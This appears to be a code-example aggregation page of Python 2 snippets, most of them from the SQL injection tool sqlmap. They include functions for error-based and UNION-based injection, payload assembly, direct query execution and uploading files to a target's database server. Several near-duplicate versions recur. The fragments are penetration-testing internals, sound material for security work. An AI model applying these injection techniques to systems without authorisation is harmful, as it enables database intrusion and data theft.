Beispiel #1
0
    def common_http_redirect(self, result, headers, code, content, msg):
        content = decodePage(content, headers.get(HTTPHEADER.CONTENT_ENCODING), headers.get(HTTPHEADER.CONTENT_TYPE))

        threadData = getCurrentThreadData()
        threadData.lastRedirectMsg = (threadData.lastRequestUID, content)

        responseMsg = "HTTP response "
        responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg))

        if headers:
            logHeaders = "\n".join(["%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in headers.items()])
        else:
            logHeaders = ""

        if conf.verbose <= 5:
            responseMsg += getUnicode(logHeaders)
        elif conf.verbose > 5:
            responseMsg += "%s\n\n%s\n" % (logHeaders, content)

        logger.log(7, responseMsg)

        if "location" in headers:
            result.redurl = headers.getheaders("location")[0].split("?")[0]
        elif "uri" in headers:
            result.redurl = headers.getheaders("uri")[0].split("?")[0]

        if "set-cookie" in headers:
            result.setcookie = headers["set-cookie"].split("; path")[0]

        result.redcode = code

        return result
Beispiel #2
0
def _createTargetDirs():
    """
    Create the output directory.
    """

    for context in "output", "history":
        directory = paths["SQLMAP_%s_PATH" % context.upper()]
        try:
            if not os.path.isdir(directory):
                os.makedirs(directory)

            _ = os.path.join(directory, randomStr())
            open(_, "w+b").close()
            os.remove(_)

            if conf.outputDir and context == "output":
                warnMsg = "using '%s' as the %s directory" % (directory, context)
                logger.warn(warnMsg)
        except (OSError, IOError), ex:
            try:
                tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
            except Exception, _:
                errMsg = "unable to write to the temporary directory ('%s'). " % _
                errMsg += "Please make sure that your disk is not full and "
                errMsg += "that you have sufficient write permissions to "
                errMsg += "create temporary files and/or directories"
                raise SqlmapSystemException(errMsg)

            warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
            warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
            logger.warn(warnMsg)

            paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
Beispiel #3
0
def _setRecordFiles():
    for (target, pocname, pocid, component, version, status, r_time, result) in kb.results:
        if type(status) != str:
            status = status[1]
        outputPath = os.path.join(getUnicode(paths.PENEWORK_OUTPUT_PATH), normalizeUnicode(getUnicode(target)))

        if not os.path.isdir(outputPath):
            try:
                os.makedirs(outputPath, 0755)
            except (OSError, IOError), ex:
                try:
                    tempDir = tempfile.mkdtemp(prefix="peneworktoutput")
                except Exception, _:
                    errMsg = "unable to write to the temporary directory ('%s'). " % _
                    errMsg += "Please make sure that your disk is not full and "
                    errMsg += "that you have sufficient write permissions to "
                    errMsg += "create temporary files and/or directories"
                    raise PeneworkSystemException(errMsg)

                warnMsg = "unable to create output directory "
                warnMsg += "'%s' (%s). " % (outputPath, getUnicode(ex))
                warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
                logger.warn(warnMsg)

                outputPath = tempDir
Beispiel #4
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    conf.matchRatio = None

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, getUnicode(randInt))
    dynResult = Request.queryPage(payload, place)

    if True == dynResult:
        return False

    infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, getUnicode(randInt))
    dynResult = Request.queryPage(payload, place)

    return not dynResult
Beispiel #5
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    if kb.redirectChoice:
        return None

    kb.matchRatio = None
    dynResult = None
    randInt = randomInt()

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    try:
        payload = agent.payload(place, parameter, value, getUnicode(randInt))
        dynResult = Request.queryPage(payload, place, raise404=False)

        if not dynResult:
            infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
            logger.info(infoMsg)

            randInt = randomInt()
            payload = agent.payload(place, parameter, value, getUnicode(randInt))
            dynResult = Request.queryPage(payload, place, raise404=False)
    except SqlmapConnectionException:
        pass

    result = None if dynResult is None else not dynResult
    kb.dynamicParameter = result

    return result
Beispiel #6
0
    def finish(self, resultStatus, resultMsg=""):
        """
        Finishes the dumper operation:
        1. Adds the session status to the xml
        2. Writes the xml to the file
        3. Closes the xml file
        """
        if ((self._outputFP is not None) and not(self._outputFP.closed)):
            statusElem = self.__doc.createElement(STATUS_ELEM_NAME)
            statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus)))

            if not resultStatus:
                errorElem = self.__doc.createElement(ERROR_ELEM_NAME)

                if isinstance(resultMsg, Exception):
                    errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__))
                else:
                    errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE))

                errorElem.appendChild(self._createTextNode(getUnicode(resultMsg)))
                statusElem.appendChild(errorElem)

            self._addToRoot(statusElem)
            self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING))
            self._outputFP.close()
Beispiel #7
0
    def _process_http_redirect(self, result, headers, code, content, msg, redurl):
        content = decodePage(content, headers.get(HTTPHEADER.CONTENT_ENCODING), headers.get(HTTPHEADER.CONTENT_TYPE))

        threadData = getCurrentThreadData()
        threadData.lastRedirectMsg = (threadData.lastRequestUID, content)

        responseMsg = "HTTP response "
        responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg))

        if headers:
            logHeaders = "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in headers.items())
        else:
            logHeaders = ""

        logHTTPTraffic(threadData.lastRequestMsg, "%s%s" % (responseMsg, logHeaders))

        responseMsg += getUnicode(logHeaders)

        logger.log(7, responseMsg)

        if "set-cookie" in headers:
            kb.redirectSetCookie = headers["set-cookie"].split("; path")[0]

        result.redcode = code
        result.redurl = redurl

        return result
Beispiel #8
0
    def common_http_redirect(self, result, headers, code, content, msg):
        content = decodePage(content, headers.get(HTTPHEADER.CONTENT_ENCODING), headers.get(HTTPHEADER.CONTENT_TYPE))

        threadData = getCurrentThreadData()
        threadData.lastRedirectMsg = (threadData.lastRequestUID, content)

        responseMsg = "HTTP response "
        responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg))

        if headers:
            logHeaders = "\n".join(["%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in headers.items()])
        else:
            logHeaders = ""

        logHTTPTraffic(threadData.lastRequestMsg, "%s%s" % (responseMsg, logHeaders))

        responseMsg += getUnicode(logHeaders)

        logger.log(7, responseMsg)

        if result:
            if self._get_header_redirect(headers):
                result.redurl = self._get_header_redirect(headers)

            if hasattr(result, 'redurl'):
                if not urlparse.urlsplit(result.redurl).netloc:
                    result.redurl = urlparse.urljoin(conf.url, result.redurl)

            if "set-cookie" in headers:
                result.setcookie = headers["set-cookie"].split("; path")[0]

            result.redcode = code

        return result
Beispiel #9
0
def decodePage(page, contentEncoding, contentType):
    """
    Decode compressed/charset HTTP response
    """

    if not page or (conf.nullConnection and len(page) < 2):
        return getUnicode(page)

    if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ('gzip', 'x-gzip', 'deflate'):
        if contentEncoding == 'deflate':
            # http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
            data = StringIO.StringIO(zlib.decompress(page, -15))
        else:
            data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))

        page = data.read()

    charset = None

    # http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
    if contentType and (contentType.find('charset=') != -1):
        charset = contentType.split('charset=')[-1]
    elif extractRegexResult(META_CHARSET_REGEX, page, re.DOTALL | re.IGNORECASE):
        charset = extractRegexResult(META_CHARSET_REGEX, page, re.DOTALL | re.IGNORECASE)

    charset = checkCharEncoding(charset)
    kb.pageEncoding = charset or DEFAULT_PAGE_ENCODING

    if contentType and any(map(lambda x: x in contentType.lower(), ('text/txt', 'text/raw', 'text/html', 'text/xml'))):
        # can't do for all responses because we need to support binary files too
        page = getUnicode(page, kb.pageEncoding)

    return page
Beispiel #10
0
def _createTargetDirs():
    """
    Create the output directory.
    """

    if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
        try:
            if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
                os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
            logger.warn(warnMsg)
        except (OSError, IOError), ex:
            try:
                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
            except Exception, _:
                errMsg = "unable to write to the temporary directory ('%s'). " % _
                errMsg += "Please make sure that your disk is not full and "
                errMsg += "that you have sufficient write permissions to "
                errMsg += "create temporary files and/or directories"
                raise SqlmapSystemException(errMsg)

            warnMsg = "unable to create regular output directory "
            warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
            logger.warn(warnMsg)

            paths.SQLMAP_OUTPUT_PATH = tempDir
Beispiel #11
0
def direct(query, content=True):
    output = None
    select = True
    query = agent.payloadDirect(query)

    if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query:
        query = "%s FROM DUAL" % query

    for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
        for sqlStatement in sqlStatements:
            if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
                select = False
                break

    if select and not query.upper().startswith("SELECT "):
        query = "SELECT " + query

    logger.log(9, query)

    if not select:
        output = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
    elif conf.hostname in kb.resumedQueries and query in kb.resumedQueries[conf.hostname] and "sqlmapoutput" not in query and "sqlmapfile" not in query:
        try:
            output = base64unpickle(kb.resumedQueries[conf.hostname][query][:-1])
        except:
            output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)

        infoMsg = "resumed from file '%s': " % conf.sessionFile
        infoMsg += "%s..." % getUnicode(output, UNICODE_ENCODING)[:20]
        logger.info(infoMsg)
    else:
        output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)

    if output is None or len(output) == 0:
        return None
    elif content:
        if conf.hostname not in kb.resumedQueries or ( conf.hostname in kb.resumedQueries and query not in kb.resumedQueries[conf.hostname] ):
            dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injection.place, conf.parameters[kb.injection.place], query, base64pickle(output)))

        if len(output) == 1:
            if len(output[0]) == 1:
                out = list(output)[0][0]
                if isinstance(out, str):
                    out = utf8decode(out)
                return getUnicode(out, UNICODE_ENCODING)
            else:
                return list(output)
        else:
            return output
    else:
        for line in output:
            if line[0] in (1, -1):
                return True
            else:
                return False
Beispiel #12
0
def direct(query, content=True):
    select = True
    query = agent.payloadDirect(query)
    query = agent.adjustLateValues(query)
    threadData = getCurrentThreadData()

    if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query:
        query = "%s FROM DUAL" % query

    for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
        for sqlStatement in sqlStatements:
            if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
                select = False
                break

    if select and not query.upper().startswith("SELECT "):
        query = "SELECT " + query

    logger.log(9, query)

    output = hashDBRetrieve(query, True, True)

    start = time.time()
    if not select and "EXEC " not in query:
        _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
    elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
        output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
        hashDBWrite(query, output, True)
    elif output:
        infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
        logger.info(infoMsg)
    threadData.lastQueryDuration = calculateDeltaSeconds(start)

    if not output:
        return output
    elif content:
        if output and isListLike(output):
            if len(output[0]) == 1:
                if len(output) > 1:
                    output = map(lambda _: _[0], output)
                else:
                    output = output[0][0]

        retVal = getUnicode(output, noneToNull=True)
        return safecharencode(retVal) if kb.safeCharEncode else retVal
    else:
        for line in output:
            if line[0] in (1, -1):
                return True
            else:
                return False
Beispiel #13
0
def direct(query, content=True):
    select = True
    query = agent.payloadDirect(query)
    query = agent.adjustLateValues(query)
    threadData = getCurrentThreadData()

    if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper():
        query = "%s FROM DUAL" % query

    for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
        for sqlStatement in sqlStatements:
            if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
                select = False
                break

    if select and not query.upper().startswith("SELECT "):
        query = "SELECT %s" % query

    logger.log(CUSTOM_LOGGING.PAYLOAD, query)

    output = hashDBRetrieve(query, True, True)
    start = time.time()

    if not select and "EXEC " not in query.upper():
        timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
    elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
        output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
        if state == TIMEOUT_STATE.NORMAL:
            hashDBWrite(query, output, True)
        elif state == TIMEOUT_STATE.TIMEOUT:
            conf.dbmsConnector.close()
            conf.dbmsConnector.connect()
    elif output:
        infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
        logger.info(infoMsg)

    threadData.lastQueryDuration = calculateDeltaSeconds(start)

    if not output:
        return output
    elif content:
        if output and isListLike(output):
            if len(output[0]) == 1:
                output = [_[0] for _ in output]

        retVal = getUnicode(output, noneToNull=True)
        return safecharencode(retVal) if kb.safeCharEncode else retVal
    else:
        return extractExpectedValue(output, EXPECTED.BOOL)
Beispiel #14
0
    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
        written = False

        checkFile(localFile)

        self.checkDbmsOs()

        if localFile.endswith('_'):
            localFile = getUnicode(decloakToTemp(localFile))

        if conf.direct or isStackingAvailable():
            if isStackingAvailable():
                debugMsg = "going to upload the file '%s' with " % fileType
                debugMsg += "stacked query SQL injection technique"
                logger.debug(debugMsg)

            written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
            self.cleanup(onlyFileTbl=True)
        elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
            debugMsg = "going to upload the file '%s' with " % fileType
            debugMsg += "UNION query SQL injection technique"
            logger.debug(debugMsg)

            written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
        else:
            errMsg = "none of the SQL injection techniques detected can "
            errMsg += "be used to write files to the underlying file "
            errMsg += "system of the back-end %s server" % Backend.getDbms()
            logger.error(errMsg)

            return None

        return written
Beispiel #15
0
def errorTest():
    if conf.direct:
        return

    if kb.errorTest is not None:
        return kb.errorTest

    infoMsg  = "testing error-based sql injection on parameter "
    infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
    logger.info(infoMsg)

    randInt = getUnicode(randomInt(1))
    query = queries[kb.dbms].case.query % ("%s=%s" % (randInt, randInt))
    result, usedPayload = inject.goError(query, suppressOutput=True, returnPayload=True)

    if result:
        infoMsg  = "the target url is affected by an error-based sql "
        infoMsg += "injection on parameter '%s'" % kb.injParameter
        logger.info(infoMsg)

        kb.errorTest = agent.removePayloadDelimiters(usedPayload, False)
    else:
        warnMsg  = "the target url is not affected by an error-based sql "
        warnMsg += "injection on parameter '%s'" % kb.injParameter
        logger.warn(warnMsg)

        kb.errorTest = False

    setError()

    return kb.errorTest
Beispiel #16
0
def checkConnection(suppressOutput=False):
    if not any([conf.proxy, conf.tor]):
        try:
            socket.getaddrinfo(conf.hostname, None)
        except socket.gaierror:
            errMsg = "host '%s' does not exist" % conf.hostname
            raise sqlmapConnectionException, errMsg

    if not suppressOutput:
        infoMsg = "testing connection to the target url"
        logger.info(infoMsg)

    try:
        page, _ = Request.queryPage(content=True, noteResponseTime=False)
        kb.originalPage = kb.pageTemplate = page

        kb.errorIsNone = False

        if not kb.originalPage and wasLastRequestHTTPError():
            errMsg = "unable to retrieve page content"
            raise sqlmapConnectionException, errMsg
        elif wasLastRequestDBMSError():
            warnMsg = "there is a DBMS error found in the HTTP response body"
            warnMsg += "which could interfere with the results of the tests"
            logger.warn(warnMsg)
        elif wasLastRequestHTTPError():
            warnMsg = "the web server responded with an HTTP error code "
            warnMsg += "which could interfere with the results of the tests"
            logger.warn(warnMsg)
        else:
            kb.errorIsNone = True
    except sqlmapConnectionException, errMsg:
        errMsg = getUnicode(errMsg)
        raise sqlmapConnectionException, errMsg
Beispiel #17
0
def checkNullConnection():
    """
    Reference: http://www.wisec.it/sectou.php?id=472f952d79293
    """

    infoMsg = "testing NULL connection to the target url"
    logger.info(infoMsg)

    try:
        page, headers = Request.getPage(method=HTTPMETHOD.HEAD)
        if not page and 'Content-Length' in headers:
            kb.nullConnection = NULLCONNECTION.HEAD

            infoMsg = "NULL connection is supported with HEAD header"
            logger.info(infoMsg)
        else:
            page, headers = Request.getPage(auxHeaders={"Range": "bytes=-1"})
            if page and len(page) == 1 and 'Content-Range' in headers:
                kb.nullConnection = NULLCONNECTION.RANGE

                infoMsg = "NULL connection is supported with GET header "
                infoMsg += "'%s'" % kb.nullConnection
                logger.info(infoMsg)
    except sqlmapConnectionException, errMsg:
        errMsg = getUnicode(errMsg)
        raise sqlmapConnectionException, errMsg
Beispiel #18
0
def configFileProxy(section, option, boolean=False, integer=False):
    """
    Parse configuration file and save settings into the configuration
    advanced dictionary.
    """

    global config

    if config.has_option(section, option):
        try:
            if boolean:
                value = config.getboolean(section, option) if config.get(section, option) else False
            elif integer:
                value = config.getint(section, option) if config.get(section, option) else 0
            else:
                value = config.get(section, option)
        except ValueError, ex:
            errMsg = "error occurred while processing the option "
            errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex))
            raise SqlmapSyntaxException(errMsg)

        if value:
            conf[option] = value
        else:
            conf[option] = None
Beispiel #19
0
def checkNullConnection():
    """
    Reference: http://www.wisec.it/sectou.php?id=472f952d79293
    """

    if conf.data:
        return False

    infoMsg = "testing NULL connection to the target url"
    logger.info(infoMsg)

    try:
        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)

        if not page and HTTPHEADER.CONTENT_LENGTH in headers:
            kb.nullConnection = NULLCONNECTION.HEAD

            infoMsg = "NULL connection is supported with HEAD header"
            logger.info(infoMsg)
        else:
            page, headers, _ = Request.getPage(auxHeaders={HTTPHEADER.RANGE: "bytes=-1"})

            if page and len(page) == 1 and HTTPHEADER.CONTENT_RANGE in headers:
                kb.nullConnection = NULLCONNECTION.RANGE

                infoMsg = "NULL connection is supported with GET header "
                infoMsg += "'%s'" % kb.nullConnection
                logger.info(infoMsg)

    except SqlmapConnectionException, errMsg:
        errMsg = getUnicode(errMsg)
        raise SqlmapConnectionException, errMsg
Beispiel #20
0
    def string(self, header, data, content_type=None, sort=True):
        kb.stickyLevel = None

        if conf.api:
            self._write(data, content_type=content_type)
            return

        if isListLike(data):
            self.lister(header, data, content_type, sort)
        elif data is not None:
            _ = getUnicode(data)

            if _.endswith("\r\n"):
                _ = _[:-2]

            elif _.endswith("\n"):
                _ = _[:-1]

            if _.strip(' '):
                _ = _.strip(' ')

            if "\n" in _:
                self._write("%s:\n---\n%s\n---" % (header, _))
            else:
                self._write("%s:    %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _))
        else:
            self._write("%s:\tNone" % header)
Beispiel #21
0
    def _sysTablesCheck(self):
        retVal = None
        table = (
                    ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
                    ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
                    ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
                    ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
                    # TODO: add test for Firebird 2.5
                 )

        for i in xrange(len(table)):
            version, checks = table[i]
            failed = False
            check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100)))
            result = inject.checkBooleanExpression(check)

            if result:
                retVal = version
            else:
                failed = True
                break

            if failed:
                break

        return retVal
Beispiel #22
0
def modulePath():
    """
    This will get us the program's directory, even if we are frozen
    using py2exe
    """

    return os.path.dirname(getUnicode(sys.executable if weAreFrozen() else __file__, sys.getfilesystemencoding()))
Beispiel #23
0
    def lister(self, header, elements, sort=True):
        """
        Adds information formatted as list element
        """
        lstElem = self.__doc.createElement(LST_ELEM_NAME)
        lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
        if elements:
            if sort:
                try:
                    elements = set(elements)
                    elements = list(elements)
                    elements.sort(key=lambda x: x.lower())
                except:
                    pass

            for element in elements:
                memberElem = self.__doc.createElement(MEMBER_ELEM)
                lstElem.appendChild(memberElem)
                if isinstance(element, basestring):
                    memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
                    memberElem.appendChild(self._createTextNode(element))
                elif isinstance(element, (list, tuple, set)):
                    memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list"))
                    for e in element:
                        memberElemStr = self.__doc.createElement(MEMBER_ELEM)
                        memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
                        memberElemStr.appendChild(self._createTextNode(getUnicode(e)))
                        memberElem.appendChild(memberElemStr)
        listsElem = self._getRootChild(LSTS_ELEM_NAME)
        if not(listsElem):
            listsElem = self.__doc.createElement(LSTS_ELEM_NAME)
            self._addToRoot(listsElem)
        listsElem.appendChild(lstElem)
Beispiel #24
0
def configFileProxy(section, option, datatype):
    """
    Parse configuration file and save settings into the configuration
    advanced dictionary.
    """

    global config

    if config.has_option(section, option):
        try:
            if datatype == OPTION_TYPE.BOOLEAN:
                value = config.getboolean(section, option) if config.get(section, option) else False
            elif datatype == OPTION_TYPE.INTEGER:
                value = config.getint(section, option) if config.get(section, option) else 0
            elif datatype == OPTION_TYPE.FLOAT:
                value = config.getfloat(section, option) if config.get(section, option) else 0.0
            else:
                value = config.get(section, option)
        except ValueError, ex:
            errMsg = "error occurred while processing the option "
            errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex))
            raise SqlmapSyntaxException(errMsg)

        if value:
            conf[option] = value
        else:
            conf[option] = None
Beispiel #25
0
 def dba(self, isDBA):
     """
     Adds information to the xml that indicates whether the user has DBA privileges
     """
     isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME)
     isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA)))
     self._addToRoot(isDBAElem)
Beispiel #26
0
    def replacePayload(self, value, payload):
        """
        Replaces payload inside the input string with a given payload
        """

        _ = re.escape(PAYLOAD_DELIMITER)
        return re.sub("(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value
Beispiel #27
0
    def update(self, newAmount=0):
        """
        This method updates the progress bar
        """

        if newAmount < self.__min:
            newAmount = self.__min
        elif newAmount > self.__max:
            newAmount = self.__max

        self.__amount = newAmount

        # Figure out the new percent done, round to an integer
        diffFromMin = float(self.__amount - self.__min)
        percentDone = (diffFromMin / float(self.__span)) * 100.0
        percentDone = round(percentDone)
        percentDone = int(percentDone)

        # Figure out how many hash bars the percentage should be
        allFull = self.__width - 2
        numHashes = (percentDone / 100.0) * allFull
        numHashes = int(round(numHashes))

        # Build a progress bar with an arrow of equal signs
        if numHashes == 0:
            self.__progBar = "[>%s]" % (" " * (allFull - 1))
        elif numHashes == allFull:
            self.__progBar = "[%s]" % ("=" * allFull)
        else:
            self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
                                          " " * (allFull - numHashes))

        # Add the percentage at the beginning of the progress bar
        percentString = getUnicode(percentDone) + "%"
        self.__progBar = "%s %s" % (percentString, self.__progBar)
Beispiel #28
0
def decodePage(page, contentEncoding, contentType):
    """
    Decode compressed/charset HTTP response
    """

    if not page or (conf.nullConnection and len(page) < 2):
        return getUnicode(page)

    if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"):
        if not kb.pageCompress:
            return None

        try:
            if contentEncoding.lower() == "deflate":
                data = StringIO.StringIO(zlib.decompress(page, -15))  # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
            else:
                data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page))
                size = struct.unpack("<l", page[-4:])[0]  # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py
                if size > MAX_CONNECTION_TOTAL_SIZE:
                    raise Exception("size too large")

            page = data.read()
        except Exception, msg:
            errMsg = "detected invalid data for declared content "
            errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
            singleTimeLogMessage(errMsg, logging.ERROR)

            warnMsg = "turning off page compression"
            singleTimeWarnMessage(warnMsg)

            kb.pageCompress = False
            raise SqlmapCompressionException
Beispiel #29
0
    def cleanupPayload(self, payload, origValue=None):
        if payload is None:
            return

        replacements = (
            ("[DELIMITER_START]", kb.chars.start),
            ("[DELIMITER_STOP]", kb.chars.stop),
            ("[AT_REPLACE]", kb.chars.at),
            ("[SPACE_REPLACE]", kb.chars.space),
            ("[DOLLAR_REPLACE]", kb.chars.dollar),
            ("[HASH_REPLACE]", kb.chars.hash_),
            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
        )
        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)

        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
            payload = payload.replace(_, str(randomInt()))

        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
            payload = payload.replace(_, randomStr())

        if origValue is not None:
            origValue = getUnicode(origValue)
            if "[ORIGVALUE]" in payload:
                payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
            if "[ORIGINAL]" in payload:
                payload = getUnicode(payload).replace("[ORIGINAL]", origValue)

        if INFERENCE_MARKER in payload:
            if Backend.getIdentifiedDbms() is not None:
                inference = queries[Backend.getIdentifiedDbms()].inference

                if "dbms_version" in inference:
                    if isDBMSVersionAtLeast(inference.dbms_version):
                        inferenceQuery = inference.query
                    else:
                        inferenceQuery = inference.query2
                else:
                    inferenceQuery = inference.query

                payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
            elif not kb.testMode:
                errMsg = "invalid usage of inference payload without "
                errMsg += "knowledge of underlying DBMS"
                raise SqlmapNoneDataException(errMsg)

        return payload
Beispiel #30
0
def __oneShotUnionUse(expression, unpack=True, limited=False):
    global reqCount

    retVal = conf.hashDB.retrieve(expression) if not any([conf.flushSession, conf.freshQueries]) else None

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        check = "(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)
        trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)

        # Prepare expression with delimiters
        injExpression = agent.concatQuery(expression, unpack)
        injExpression = unescaper.unescape(injExpression)

        if conf.limitStart or conf.limitStop:
            where = PAYLOAD.WHERE.NEGATIVE
        else:
            where = None

        # Forge the inband SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], None, limited)
        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True, raise404=False)

        reqCount += 1

        # Parse the returned page to get the exact union-based
        # sql injection output
        retVal = reduce(lambda x, y: x if x is not None else y, [ \
                extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
                if headers else None), payload, True), re.DOTALL | re.IGNORECASE)], \
                None)

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)
        else:
            trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
                    or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \
                    if headers else None), payload, True), re.DOTALL | re.IGNORECASE)

            if trimmed:
                warnMsg = "possible server trimmed output detected (due to its length): "
                warnMsg += trimmed
                logger.warn(warnMsg)
            elif Backend.isDbms(DBMS.MYSQL) and not kb.multiThreadMode:
                warnMsg = "if the problem persists with 'None' values please try to use "
                warnMsg += "hidden switch --no-cast (fixing problems with some collation "
                warnMsg += "issues)"
                singleTimeWarnMessage(warnMsg)

        conf.hashDB.write(expression, retVal)

    return retVal
Beispiel #31
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

